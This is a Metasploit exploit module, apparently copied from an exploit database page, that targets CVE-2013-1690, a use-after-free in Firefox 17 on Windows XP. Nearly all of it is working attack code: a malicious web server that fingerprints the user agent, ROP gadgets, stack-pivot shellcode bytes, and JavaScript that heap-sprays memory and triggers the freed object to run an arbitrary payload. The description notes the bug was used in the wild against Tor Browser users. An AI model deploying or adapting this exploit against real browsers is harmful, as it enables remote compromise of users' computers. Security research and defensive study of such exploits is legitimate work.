Mozilla Firefox – onreadystatechange Event DocumentViewerImpl Use-After-Free (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free', 'Description' => %q{ This module exploits a vulnerability found on Firefox 17.0.6, specifically an use after free of a DocumentViewerImpl object, triggered via an specially crafted web page using onreadystatechange events and the window.stop() API, as exploited in the wild on 2013 August to target Tor Browser users. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nils', # vulnerability discovery 'Unknown', # 1day exploit, prolly the FBI 'w3bd3vil', # 1day analysis 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-1690' ], [ 'OSVDB', '94584'], [ 'BID', '60778'], [ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ], [ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ], [ 'URL', 'http://krash.in/ffn0day.txt' ], [ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Firefox 17 & Firefox 21 / Windows XP SP3', { 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory 'RetGadget' => 0x77c3ee16, # ret from msvcrt 'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP 'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory } ] ], 'DisclosureDate' => 'Jun 25 2013', 'DefaultTarget' => 0)) end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_status("Agent: #{agent}") if agent !~ /Windows NT 5\.1/ print_error("Windows XP not found, sending 404: #{agent}") send_not_found(cli) return end if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource # build html code = [ target['VFuncPtr'], target['RetGadget'], target['StackPivot'], junk ].pack("V*") code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) content = <<-HTML <html> <body> <iframe src="https://www.exploit-db.com/exploits/27429/#{my_uri}/iframe.html"></iframe> </body></html> HTML # build iframe iframe = <<-IFRAME <script> var z="<body><img src='https://www.exploit-db.com/exploits/27429/nonexistant.html' onerror=\\"\\" ></body>"; var test = new Array(); var heap_chunks; function heapSpray(shellcode, fillsled) { var chunk_size, headersize, fillsled_len, code; var i, codewithnum; chunk_size = 0x40000; headersize = 0x10; fillsled_len = chunk_size - (headersize + shellcode.length); while (fillsled.length <fillsled_len) fillsled += fillsled; fillsled = fillsled.substring(0, fillsled_len); code = shellcode + fillsled; heap_chunks = new Array(); for (i = 0; i<1000; i++) { codewithnum = "HERE" + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } } function b() { for(var c=0;1024>c;c++) { test[c]=new ArrayBuffer(180); bufView = new Uint32Array(test[c]); for (var i=0; i < 45; i++) { bufView[i] = #{target['FakeObject']}; } } } function a() { window.stop(); var myshellcode = unescape("#{js_code}"); var myfillsled = unescape("#{js_random}"); heapSpray(myshellcode,myfillsled); b(); window.parent.frames[0].frameElement.ownerDocument.write(z); } document.addEventListener("readystatechange",a,null); </script> IFRAME print_status("URI #{request.uri} requested...") if request.uri =~ /iframe\.html/ print_status("Sending iframe HTML") send_response(cli, iframe, {'Content-Type'=>'text/html'}) return end print_status("Sending HTML") send_response(cli, content, {'Content-Type'=>'text/html'}) end end |